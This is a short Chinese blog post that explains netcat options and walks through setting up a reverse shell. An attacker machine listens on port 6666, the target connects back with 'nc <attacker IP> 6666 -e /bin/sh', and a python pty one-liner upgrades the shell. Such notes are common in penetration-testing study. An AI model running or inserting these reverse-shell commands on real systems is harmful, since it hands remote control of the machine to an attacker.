title: netcat反弹shell
abbrlink: '74651124'
date: 2022-09-16 20:03:46
tags: 反弹shell

netcat基本命令

-l: 开启监听
-p:指定端口
-t: 以telnet形式应答
-e:程序重定向
-n:以数字形式表示ip
-v:显示执行命令过程
-z : 不进行交互,直接显示结果
-u :使用UDP协议传输
-w : 设置超时时间
  • 首先应该知道的一个参数是 - h,这是最基本的一个命令,nc 长跟的参数有两个,一个是 n 一个是 v
  • v 参数就是列出执行过程的详细信息,n 参数翻译过来就是只接收 ip 地址,没有 dns

为什么一个打印消息的要写两次呢?

  • 都知道-l是开启监听,-v打印运行时的所有信息,-p指定端口通常合起来写:nc -lvp 6666

  • 为什么一个打印消息的要写两次呢?

  • 几个V结果都一样 后来发现两个v获得的输出更详细,Nmap的-vv同样的效果

netcat版本:

常用监听设置

  • 例如
攻击机IP :  192.168.10.10
目标机IP :  192.168.20.20
  1. 在攻击机上设置监听
  • 6666 是端口,可以自行更改
nc -lvvp 6666
  1. 目标机设置
  • 各种手段后能执行命令后
  • 注意IP是攻击机的IP
nc 192.168.10.10 6666 -e /bin/sh
  1. 交互
  • 对于已经安装了python的系统,可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端
python -c 'import pty;pty.spawn("/bin/bash")'